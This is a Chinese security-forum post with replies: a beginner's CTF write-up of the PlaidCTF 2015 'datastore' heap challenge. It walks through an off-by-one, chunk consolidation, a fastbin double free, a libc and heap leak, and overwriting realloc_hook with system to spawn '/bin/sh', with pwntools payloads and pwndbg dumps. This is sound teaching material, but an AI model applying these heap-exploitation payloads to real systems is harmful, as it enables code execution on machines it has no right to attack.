首页
社区
课程
招聘
2015 plaidctf datastore(off by one)
2018-9-21 20:13 19790

2015 plaidctf datastore(off by one)

2018-9-21 20:13
19790
紧接着半个月前分析的那篇2016 Asis b00ks,这次同样是有分析了一道off by one 漏洞利用的题目,同样记录下来分享给像咱们一样的pwn萌新,实在是想说大佬们的文章都是写给大佬看的,那我来给大家补充一下细节。这次的参考漏洞利用write up是plaid ctf 2015 plaiddb,非常感谢师傅0x397f,大佬的名字都这么大佬。但是最后一部分有一些细节我不知道是如何处理的,看了好几天了还是没看懂,请教一下大家。

首先检查一下漏洞保护机制
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
程序主要有4个功能:GET、PUT、DUMP、DEL 。

然后来分析一下这个datastore的存储的数据结构。

通过PUT函数以及位于0xCF0的函数可以分析出datastore的数据结构,如下:


但是我只分析出了前三个数据单元内容是什么,后面的关于二叉树的内容需要分析位于0xcf0的函数分析得出,我没有分析完这个函数,因此最后有一部分的伪造堆内存的部分我没有弄清楚,数据结构如下:
struct node {
	char *key;
	long size;
	char *data;
	struct node *left;
	struct node *right;
	struct node *parent;
	bool is_leaf;
}

函数的漏洞点位于0X1040处, 用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。chunk usable size为chunk当前实际可用的内存大小,如下:
char *get_key()
{
  char *key; // r12@1
  char *ptr; // rbx@1
  size_t chunk_sz; // r14@1
  char c; // al@3
  char v4; // bp@3
  signed __int64 v5; // r13@5
  char *v6; // rax@6

  key = (char *)malloc(8uLL);
  ptr = key;
  chunk_sz = malloc_usable_size(key);
  while ( 1 )
  {
    c = _IO_getc(stdin);
    v4 = c;
    if ( c == -1 )
      Goodbye();
    if ( c == 10 )
      break;
    v5 = ptr - key;
    if ( chunk_sz <= ptr - key )
    {
      v6 = (char *)realloc(key, 2 * chunk_sz);
      key = v6;
      if ( !v6 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      ptr = &v6[v5];
      chunk_sz = malloc_usable_size(v6);
    }
    *ptr++ = v4;
  }
  *ptr = 0;                    <<<<<<<<<<<<<<<<<<<off by one 溢出点
 return key;
}

本文主要是通过off by one 溢出修改下一个堆块的pre_inuse位,然后free下一个堆块使其向前合并内存,造成double free。然后通过double free修改malloc_hook为one_gadget来实现漏洞的利用。

double free的原理比较直接,简单来说就是重复释放同一个fastbin,但是在释放同一个fastbin的中间必须free()一次其他的fastbin。可以这么利用的原因是因为在free fastbin的时候,没有进行安全检查。但是unsorted bin,small bin,large bin都不可以实现double free原因是其检查了nextchunk的prev_inuse位,如下。


关于double free的入门可以看一下 https://heap-exploitation.dhavalkapil.com/attacks/double_free.html

但是本文章的利用的double free并不是那么简单的,加入在A处存在off by one 溢出,溢出覆盖了B的size内容的pre_inuse位,当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,而且x和B之间需要一个fastbin间隔,至此X至B的内存都已释放,此时我们如果在释放chunk c那么c也会出现在bins的链表当中,然后我们就可以控制c的内容了。
|chunk x |  fastbin | chunk c | chunk A|chunk B|
可以参考http://www.freebuf.com/articles/system/91527.html

然后开始讲解具体如何利用:
关闭ALSR然后gdb.attach()动态调试是必须掌握的姿势,我一般都是gdb和ida同时看的,gdb动态调试到那一部分,碰到不清楚的就ida静态分析一下代码原理。gdb推荐使用pwndbg。

首先是将内存中初始化带有的一个struct_node删除,然后通过PUT几个struct_node来为我们后来的实现double free做准备。
DEL("th3fl4g")

PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)

下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。

此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空

struct_node的地址信息如下:
               struc_node            key           data
"A"*0x8        0x58000            0x58080        0x580a0
"B"*0x8        0x58130            0x58060        0x58040
"C"*0x8        0x58170            0x581b0        0x582a0

然后后面通过off_by_one溢出覆盖0x582a0的pre_size位。
覆盖之前我们先来看一下本来的0x582a0的内存信息:
pwndbg> x/10xg 0x5555557582a0
0x5555557582a0:	0x0000000000000000	0x0000000000000101     -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0:	0x0000000000000000	0x0000000000000000
0x5555557582c0:	0x0000000000000000	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000000000000000
0x5555557582e0:	0x0000000000000000	0x0000000000000000

然后下面在进行PUT操作,
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one
key的内容是"D"*0x8+p64(0)+p64(0x200),输入的长度为18个字节,正好是chunk usable size,且申请的chunk大小是0x20,正好将0x58280的fastbin分配用来存储key,因此此时将会off_by_one溢出,将0x582a0处的pre_inuse位覆盖为0,并且前面的p64(0x200)伪造了0x582a0的chunk的pre_size为0x200。同时从0x582a0向前0x200个字节恰好是0x580a0,即key为‘A'*0x8的chunk对应的data的地址。通过前面double free的讲解,我们了解到,只需要先DEL('A'*0x8),再DEL('C'0x8)我们可以free掉从0x580a0至0x583a0的内存。

PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one

查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280:	0x0000000000000001	0x0000000000000021 
0x555555758290:	0x4444444444444444	0x0000000000000000
0x5555557582a0:	0x0000000000000200	0x0000000000000100    ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0:	0x0000000000000000	0x0000000000000000
0x5555557582c0:	0x0000000000000000	0x0000000000000000

然后进行DEL()操作,实现double free。

DEL("A"*0x8)
DEL("C"*0x8)

查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557583d0 —▸ 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758170 —▸ 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0     ------->这个chunk内存被释放了两次,我们最后也是通过他来实现double free的利用。
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557580a0 ◂— 0x7ffff7dd1b78
可以看到当bins中只有一个bins中有空闲chunk时,其fd、bk均指向main_arena,这为我们泄露libc_base以及heap_base提供了条件。
smallbins
empty
largebins
empty

pwndbg> x/50xg 0x5555557580a0
0x5555557580a0:	0x0000000000000000	0x0000000000000301        ----->看到chunk的大小为0x300
0x5555557580b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78            ------>bins中只有一个chunk时,其fd、bk指针均指向main_arena
0x5555557580c0:	0x0000000000000000	0x0000000000000000
0x5555557580d0:	0x0000000000000000	0x0000000000000000


接下来由于‘B’*0x8的datastore还没有释放,可以控制此datastore的key以及data的内容,来泄露libc_base以及heap_base,如下图:
               struct_node            key                data
"B"*0x8        0x581330              0x58060           0x58040

我们可以通过新PUT一个datastore来分配内存,使得空间的unsorted bin的其实位置正好是0x58130。然后fd、bk指代的main_arena将替代上图中的key以及data。

PUT新的datastore之前,我们查看一下‘B’*0x8的datastore对应的数据结构地址处的内存信息:
pwndbg> x/50xg 0x555555758130
0x555555758130:	0x0000000000000090	0x0000000000000040
0x555555758140:	0x0000555555758070	0x0000000000000018    ------>可以看到0x58070以及0x18分别对应于其key以及data-size,目前来看仍然是正常的,我们后文需要通过PUT一个新的datastore来覆盖这两个值,然后打印泄露相关信息。重新说明一下,这里的0x58070指向key的mem_data区域,而我们上文标注的key的地址信息是0x58060指向的key的pre_size,二者相差0x10,并不矛盾。
0x555555758150:	0x0000555555758050	0x0000000000000000        
0x555555758160:	0x0000000000000000	0x0000555555758250
0x555555758170:	0x0000000000000001	0x0000000000000041
0x555555758180:	0x0000555555758000	0x00000000000000f0
0x555555758190:	0x00005555557582b0	0x0000555555758140

PUT一块新的
PUT("a", 0x88, p8(0)*0x88)

查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555758130 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty

pwndbg> x/50xg 0x555555758130
0x555555758130:	0x0000000000000000	0x0000000000000271
0x555555758140:	0x00007ffff7dd1b78	0x00007ffff7dd1b78            --------------------->可以看到‘B’*0x8对应的datastore的key以及data_size都被覆盖为main_arena的内容。
0x555555758150:	0x0000555555758050	0x0000000000000000
0x555555758160:	0x0000000000000000	0x0000555555758250
0x555555758170:	0x0000000000000001	0x0000000000000041
0x555555758180:	0x00005555557583e0	0x0000000000000088



重新梳理一下,目前我们已经double free一块地址空间,并且已经得到了libc_base和heap_base,我们的目的是利用大小为0x70的fastbin的0x581d0来实现double free的利用。
知道了libc_base我们可以求得realloc_hook()以及malloc_hook()等地址信息,知道了heap_base我们可以在伪造内存时保持原有内存信息不发生变化。
剩下的是,继续伪造内存,使0x581d0的fd指向realloc_hook(),在之后通过一系列操作使得分配大小为0x80的fastbin时,使得realloc_hook()指向one_gadget()。



关于one_gadget,这是一门神器,比system("/bin/sh")方便许多。
xxxxx-virtual-machine:~$ one_gadget ~/Desktop/libc-2.23.so 
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
对于不了解one_gadget的可以参考:

https://bestwing.me/2016/12/30/one-gadget-rce/

https://www.yumpu.com/en/document/view/37809267/dragons-ctf


后文通过PUT新的datastore来达成我们的目的:
进行的操作:
payload = p64(heap_base+0x70)
payload += p64(0x8)
payload += p64(heap_base+0x50)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)+p64(0x41)
payload += p64(heap_base+0x3e0)
payload += p64(0x88)
payload += p64(heap_base+0xb0)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)*5+p64(0x71)
payload += p64(libc_base+realloc_hook_off)   ------>覆盖fastbin0x501d0的fd指针,上面的data内容都是为了保证内存堆当中的其他信息不被破坏。
PUT("b"*0x8, 0xa8, payload)

查看bins:
pwndbg> bins
fastbins
0x20: 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000    ------->可以看到已经成功的将realloc_hook()放入0x70的fastbin链表中
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557581e0 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty


后面通过一系列PUT操作来实现将realloc_hook()指向one_gadget,同时除了我们需要改动的内存以外,其他内存都保持其原有的状态。
payload = p64(0)*3+p64(0x41)
payload += p64(heap_base+0x290)
payload += p64(0x20)
payload += p64(heap_base+0x3b0)
payload += p64(0)*4+p64(0x21)
payload += p64(0)*3
PUT("c"*0x8, 0x78, payload)

payload = p64(0)+p64(0x41)
payload += p64(heap_base+0x90)
payload += p64(0x8)+p64(heap_base+0x230)
payload += p64(0)*2+p64(heap_base+0x250)
payload += p64(0x1)+p64(0)*3
PUT("d"*0x8, 0x60, payload)

#one_gadget = libc_base+one_gadget2
system_addr = libc_base+system_off
#payload = p8(0)*0x13
payload = p8(0)*0xb
#payload += p64(one_gadget)
payload += p64(system_addr)
#payload += p8(0)*0x45
payload += p8(0)*0x4d
PUT("e"*0x8, 0x60, payload)

#GET("")
payload = "/bin/sh"
payload += p8(0)*0x12
GET(payload)

p.interactive()

关于最后一部分,保持堆内其他内存不变化这一点,我并不十分清楚struct node *left; struct node *right; struct node *parent; bool is_leaf;的信息具体如何确定,应该是因为我还没分析0x3f0处的代码,刚了好多天那一段代码确实有些看不懂,还是太菜,希望大神能告诉一下我二叉树各节点之间的关系是怎么组织的?红黑树么??另外有没有大神收徒弟?

最后总结一下:这道题目较上篇2016 Asis b00ks(off by one)难度大些,这一篇涉及到更多堆的内存管理,我也是从这开始刚刚真正了解些堆内存管理,除了off by one,并且还有one gadget,double free,以及和泄露libc_base的新技巧,都是刚刚涨的新姿势。
建议像我一样刚刚开始的萌新,还是要多看几遍malloc.c,碰到一些技巧比如double free不要只是到怎么用,还要知道为什么能这么用,为什么不能这么用,多查查源代码。

长路漫漫,师傅,你在哪啊?


                                                                                                                                                                                                                idd&&xhh
  


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2018-9-26 11:32 被Seclusion编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (14)
雪    币: 32408
活跃值: (18750)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2018-9-21 21:02
2
0
感谢分享!
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2018-9-21 22:24
3
0
kanxue 感谢分享!
感谢评论
雪    币: 60
活跃值: (79)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
返無歸一 2018-9-22 05:30
4
0
聽217大大講課時說是紅黑樹
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qqhsx 2018-9-22 10:01
5
0
感谢分享! 
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2018-9-22 18:16
6
0
返無歸一 聽217大大講課時說是紅黑樹
嗯 谢谢
雪    币: 18
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ihhm 2018-9-22 23:38
7
0
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-9-24 11:42
8
0
可以师傅
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2018-9-24 20:31
9
0
和大家一起交流学习
雪    币: 522
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
久久归 2019-8-6 16:11
10
0
现在还做堆题吗?
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2019-8-15 21:22
11
0
久久归 现在还做堆题吗?
啥意思?
比赛出题主要还是围绕着堆来出题
雪    币: 1928
活跃值: (392)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
TopGreen 2019-8-25 14:46
12
0
引用:当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,
为什么必须事先?
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2019-9-3 19:30
13
0
TopGreen 引用:当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放, 为什么必须事先?
向前合并的时候 , chunk x必须是已经free的chunk才能成功合并,不明白多读读源码就懂了。
雪    币:
活跃值: (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DuckRui 2021-2-6 19:13
14
0
师傅,求
完整exp,谢谢
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2021-2-8 20:18
15
0
DuckRui 师傅,求 完整exp,谢谢
时间太久了 找不到了
游客
登录 | 注册 方可回帖
返回